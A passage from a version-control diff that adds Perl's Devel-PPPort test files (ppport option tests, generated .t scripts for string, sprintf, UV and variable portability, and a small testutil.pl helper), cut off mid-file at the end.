+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.6.0));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.006));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.999));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=6.0.0));
+ok($o =~ /Only Perl 5 is supported/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.1000.999));
+ok($o =~ /Invalid version number: 5.1000.999/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.1000));
+ok($o =~ /Invalid version number: 5.999.1000/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+SvPVutf8_force();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o !~ /potentially required change/);
+ok(matches($o, '^Looks good', 'm'), 2);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+#define NEED_grok_numeric_radix
+#define NEED_grok_number
+#include "ppport.h"
+
+GROK_NUMERIC_RADIX();
+grok_number();
+
+---------------------------- foo.c --------------------------------------------
+
+#include "ppport.h"
+
+call_pv();
+
+===============================================================================
+
+# check --api-info option
+
+my $o = ppport(qw(--api-info=INT2PTR));
+my %found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{INT2PTR});
+ok(matches($o, '^Supported at least starting from perl-5\.6\.0\.', 'm'), 1);
+ok(matches($o, '^Support by .*ppport.* provided back to perl-5\.003\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=Zero));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{Zero});
+ok(matches($o, '^No portability information available\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=/Zero/));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 2);
+ok(exists $found{Zero});
+ok(exists $found{ZeroD});
+
+===============================================================================
+
+# check --list-provided option
+
+my @o = ppport(qw(--list-provided));
+my %p;
+my $fail = 0;
+for (@o) {
+  my($name, $flags) = /^(\w+)(?:\s+\[(\w+(?:,\s+\w+)*)\])?$/ or $fail++;
+  exists $p{$name} and $fail++;
+  $p{$name} = defined $flags ? { map { ($_ => 1) } $flags =~ /(\w+)/g } : '';
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{call_pv});
+ok(not ref $p{call_pv});
+
+ok(exists $p{grok_bin});
+ok(ref $p{grok_bin}, 'HASH');
+ok(scalar keys %{$p{grok_bin}}, 2);
+ok($p{grok_bin}{explicit});
+ok($p{grok_bin}{depend});
+
+ok(exists $p{gv_stashpvn});
+ok(ref $p{gv_stashpvn}, 'HASH');
+ok(scalar keys %{$p{gv_stashpvn}}, 2);
+ok($p{gv_stashpvn}{depend});
+ok($p{gv_stashpvn}{hint});
+
+ok(exists $p{sv_catpvf_mg});
+ok(ref $p{sv_catpvf_mg}, 'HASH');
+ok(scalar keys %{$p{sv_catpvf_mg}}, 2);
+ok($p{sv_catpvf_mg}{explicit});
+ok($p{sv_catpvf_mg}{depend});
+
+ok(exists $p{PL_signals});
+ok(ref $p{PL_signals}, 'HASH');
+ok(scalar keys %{$p{PL_signals}}, 1);
+ok($p{PL_signals}{explicit});
+
+===============================================================================
+
+# check --list-unsupported option
+
+my @o = ppport(qw(--list-unsupported));
+my %p;
+my $fail = 0;
+for (@o) {
+  my($name, $ver) = /^(\w+)\s*\.+\s*([\d._]+)$/ or $fail++;
+  exists $p{$name} and $fail++;
+  $p{$name} = $ver;
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{utf8_distance});
+ok($p{utf8_distance}, '5.6.0');
+
+ok(exists $p{save_generic_svref});
+ok($p{save_generic_svref}, '5.005_03');
+
+===============================================================================
+
+# check --nofilter option
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges foo.cpp foo.o Makefile.PL));
+ok($o =~ /Skipping the following files \(use --nofilter to avoid this\):/m);
+ok(matches($o, '^\|\s+foo\.o', 'mi'), 1);
+ok(matches($o, '^\|\s+Makefile\.PL', 'mi'), 1);
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges --nofilter foo.cpp foo.o Makefile.PL));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok($o =~ /^Scanning.*foo\.o/mi);
+ok($o =~ /Analyzing.*foo\.o/mi);
+ok($o =~ /^Scanning.*Makefile/mi);
+ok($o =~ /Analyzing.*Makefile/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+ok(matches($o, 'Analyzing', 'm'), 3);
+
+---------------------------- foo.cpp ------------------------------------------
+
+newSViv();
+
+---------------------------- foo.o --------------------------------------------
+
+newSViv();
+
+---------------------------- Makefile.PL --------------------------------------
+
+newSViv();
+
+===============================================================================
+
+# check if explicit variables are handled propery
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o =~ /^Uses PL_signals/m);
+ok($o =~ /^File needs PL_signals, adding static request/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+unlink qw(MyExt.xsa);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+PL_signals = 123;
+if (PL_signals == 42)
+  foo();
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#define NEED_PL_signals
+#include "ppport.h"
+PL_signals = 123;
+if (PL_signals == 42)
+  foo();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o =~ /^Uses SvUOK/m);
+ok($o =~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(2 warnings\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0 file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o !~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_PL_parser
+#include "ppport.h"
+SvUOK
+PL_copline
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+  ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+  ok(-e "${_}f");
+  ok(eq_files("${_}f", "${_}r"));
+  unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+#  define SOMETHING_ELSE defgv + \
+                         sv_undef
+
+---------------------------- file.xsr -----------------------------------------
+
+#include "ppport.h"
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING PL_defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+#  define SOMETHING_ELSE PL_defgv + \
+                         PL_sv_undef
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+  ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+  ok(-e "${_}f");
+  ok(eq_files("${_}f", "${_}r"));
+  unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak("bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner("foo");
+warner_nocontext("foo");
+warner("foo");
+
+---------------------------- file.xsr -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak(aTHX_ "bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner(aTHX_ "foo");
+warner_nocontext("foo");
+warner("foo");
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/pv_tools.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/pv_tools.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/pv_tools.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,76 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/pv_tools instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (13) {
+    load();
+    plan(tests => 13);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $uni = &Devel::PPPort::pv_escape_can_unicode();
+
+# sanity check
+ok($uni ? $] >= 5.006 : $] < 5.008);
+
+my @r;
+
+ at r = &Devel::PPPort::pv_pretty();
+ok($r[0], $r[1]);
+ok($r[0], "foobarbaz");
+ok($r[2], $r[3]);
+ok($r[2], '<leftpv_p\retty\nright>');
+ok($r[4], $r[5]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+     $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303');
+ok($r[6], $r[7]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+     $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...');
+
+ at r = &Devel::PPPort::pv_display();
+ok($r[0], $r[1]);
+ok($r[0], '"foob\0rbaz"\0');
+ok($r[2], $r[3]);
+ok($r[2] eq '"pv_di"...\0' ||
+   $r[2] eq '"pv_d"...\0');  # some perl implementations are broken... :(
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/pvs.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/pvs.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/pvs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,73 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/pvs instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (12) {
+    load();
+    plan(tests => 12);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my $x = 'foo';
+
+ok(Devel::PPPort::newSVpvs(), "newSVpvs");
+ok(Devel::PPPort::newSVpvs_flags(), "newSVpvs_flags");
+ok(Devel::PPPort::newSVpvs_share(), 3);
+
+Devel::PPPort::sv_catpvs($x);
+ok($x, "foosv_catpvs");
+
+Devel::PPPort::sv_setpvs($x);
+ok($x, "sv_setpvs");
+
+my %h = ('hv_fetchs' => 42);
+Devel::PPPort::hv_stores(\%h, 4711);
+ok(scalar keys %h, 2);
+ok(exists $h{'hv_stores'});
+ok($h{'hv_stores'}, 4711);
+ok(Devel::PPPort::hv_fetchs(\%h), 42);
+ok(Devel::PPPort::gv_fetchpvs(), \*Devel::PPPort::VERSION);
+ok(Devel::PPPort::gv_stashpvs(), \%Devel::PPPort::);
+
+ok(Devel::PPPort::get_cvs(), 3);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/shared_pv.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/shared_pv.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/shared_pv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,52 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/shared_pv instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (1) {
+    load();
+    plan(tests => 1);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::newSVpvn_share(), 6);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/snprintf.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/snprintf.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/snprintf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,54 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/snprintf instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (2) {
+    load();
+    plan(tests => 2);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my($l, $s) = Devel::PPPort::my_snprintf();
+ok($l, 8);
+ok($s, "foobar42");
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/sprintf.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/sprintf.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/sprintf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,54 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/sprintf instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (2) {
+    load();
+    plan(tests => 2);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my($l, $s) = Devel::PPPort::my_sprintf();
+ok($l, 8);
+ok($s, "foobar42");
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/strlfuncs.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/strlfuncs.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/strlfuncs.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,65 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/strlfuncs instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (13) {
+    load();
+    plan(tests => 13);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @e = (3, 'foo',
+         6, 'foobar',
+         9, 'foobarb',
+         10, '1234567',
+         4, '1234',
+         16, '1234567',
+        );
+my @r = Devel::PPPort::my_strlfunc();
+
+ok(@e == @r);
+
+for (0 .. $#e) {
+  ok($r[$_], $e[$_]);
+}
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/sv_xpvf.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/sv_xpvf.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/sv_xpvf.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,78 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/sv_xpvf instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (9) {
+    load();
+    plan(tests => 9);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo-';
+$h{bar} = '';
+
+ok(&Devel::PPPort::vnewSVpvf(), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+ok(&Devel::PPPort::sv_vcatpvf('1-2-3-'), $] >= 5.004 ? '1-2-3-Perl-42' : '1-2-3-%s-%d');
+ok(&Devel::PPPort::sv_vsetpvf('1-2-3-'), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+
+&Devel::PPPort::sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42' : 'foo-');
+
+&Devel::PPPort::Perl_sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43' : 'foo-');
+
+&Devel::PPPort::sv_catpvf_mg_nocontext($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43-Perl-44' : 'foo-');
+
+&Devel::PPPort::sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'mhx-42' : '');
+
+&Devel::PPPort::Perl_sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'foo-43' : '');
+
+&Devel::PPPort::sv_setpvf_mg_nocontext($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'bar-44' : '');
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/testutil.pl
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/testutil.pl	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/testutil.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,48 @@
+{
+  my $__ntest;
+  my $__total;
+
+  sub plan {
+    @_ == 2 or die "usage: plan(tests => count)";
+    my $what = shift;
+    $what eq 'tests' or die "cannot plan anything but tests";
+    $__total = shift;
+    defined $__total && $__total > 0 or die "need a positive number of tests";
+    print "1..$__total\n";
+  }
+
+  sub skip {
+    my $reason = shift;
+    ++$__ntest;
+    print "ok $__ntest # skip: $reason\n"
+  }
+
+  sub ok ($;$$) {
+    local($\,$,);
+    my $ok = 0;
+    my $result = shift;
+    if (@_ == 0) {
+      $ok = $result;
+    } else {
+      $expected = shift;
+      if (!defined $expected) {
+        $ok = !defined $result;
+      } elsif (!defined $result) {
+        $ok = 0;
+      } elsif (ref($expected) eq 'Regexp') {
+        die "using regular expression objects is not backwards compatible";
+      } else {
+        $ok = $result eq $expected;
+      }
+    }
+    ++$__ntest;
+    if ($ok) {
+      print "ok $__ntest\n"
+    }
+    else {
+      print "not ok $__ntest\n"
+    }
+  }
+}
+
+1;

Added: vendor/perl/dist/dist/Devel-PPPort/t/threads.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/threads.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/threads.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,54 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/threads instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (2) {
+    load();
+    plan(tests => 2);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::no_THX_arg("42"), 43);
+eval { &Devel::PPPort::with_THX_arg("yes\n"); };
+ok($@ =~ /^yes/);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/uv.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/uv.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/uv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,61 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/uv instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (10) {
+    load();
+    plan(tests => 10);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::sv_setuv(42), 42);
+ok(&Devel::PPPort::newSVuv(123), 123);
+ok(&Devel::PPPort::sv_2uv("4711"), 4711);
+ok(&Devel::PPPort::sv_2uv("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx(1735928559), 1735928559);
+ok(&Devel::PPPort::SvUVx(0xdeadbeef), 0xdeadbeef);
+ok(&Devel::PPPort::XSRETURN_UV(), 42);
+ok(&Devel::PPPort::PUSHu(), 42);
+ok(&Devel::PPPort::XPUSHu(), 43);
+

Added: vendor/perl/dist/dist/Devel-PPPort/t/variables.t
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/t/variables.t	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/t/variables.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,107 @@
+################################################################################
+#
+#            !!!!!   Do NOT edit this file directly!   !!!!!
+#
+#            Edit mktests.PL and/or parts/inc/variables instead.
+#
+#  This file was automatically generated from the definition files in the
+#  parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+#  works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+  if ($ENV{'PERL_CORE'}) {
+    chdir 't' if -d 't';
+    @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+    require Config; import Config;
+    use vars '%Config';
+    if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+      print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+      exit 0;
+    }
+  }
+  else {
+    unshift @INC, 't';
+  }
+
+  sub load {
+    eval "use Test";
+    require 'testutil.pl' if $@;
+  }
+
+  if (52) {
+    load();
+    plan(tests => 52);
+  }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+ at ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::compare_PL_signals());
+
+ok(!defined(&Devel::PPPort::PL_sv_undef()));
+ok(&Devel::PPPort::PL_sv_yes());
+ok(!&Devel::PPPort::PL_sv_no());
+ok(&Devel::PPPort::PL_na("abcd"), 4);
+ok(&Devel::PPPort::PL_Sv(), "mhx");
+ok(defined &Devel::PPPort::PL_tokenbuf());
+ok($] >= 5.009005 || &Devel::PPPort::PL_parser());
+ok(&Devel::PPPort::PL_hexdigit() =~ /^[0-9a-zA-Z]+$/);
+ok(defined &Devel::PPPort::PL_hints());
+ok(&Devel::PPPort::PL_ppaddr("mhx"), "MHX");
+
+for (&Devel::PPPort::other_variables()) {
+  ok($_ != 0);
+}
+
+{
+  my @w;
+  my $fail = 0;
+  {
+    local $SIG{'__WARN__'} = sub { push @w, @_ };
+    ok(&Devel::PPPort::dummy_parser_warning());
+  }
+  if ($] >= 5.009005) {
+    ok(@w >= 0);
+    for (@w) {
+      print "# $_";
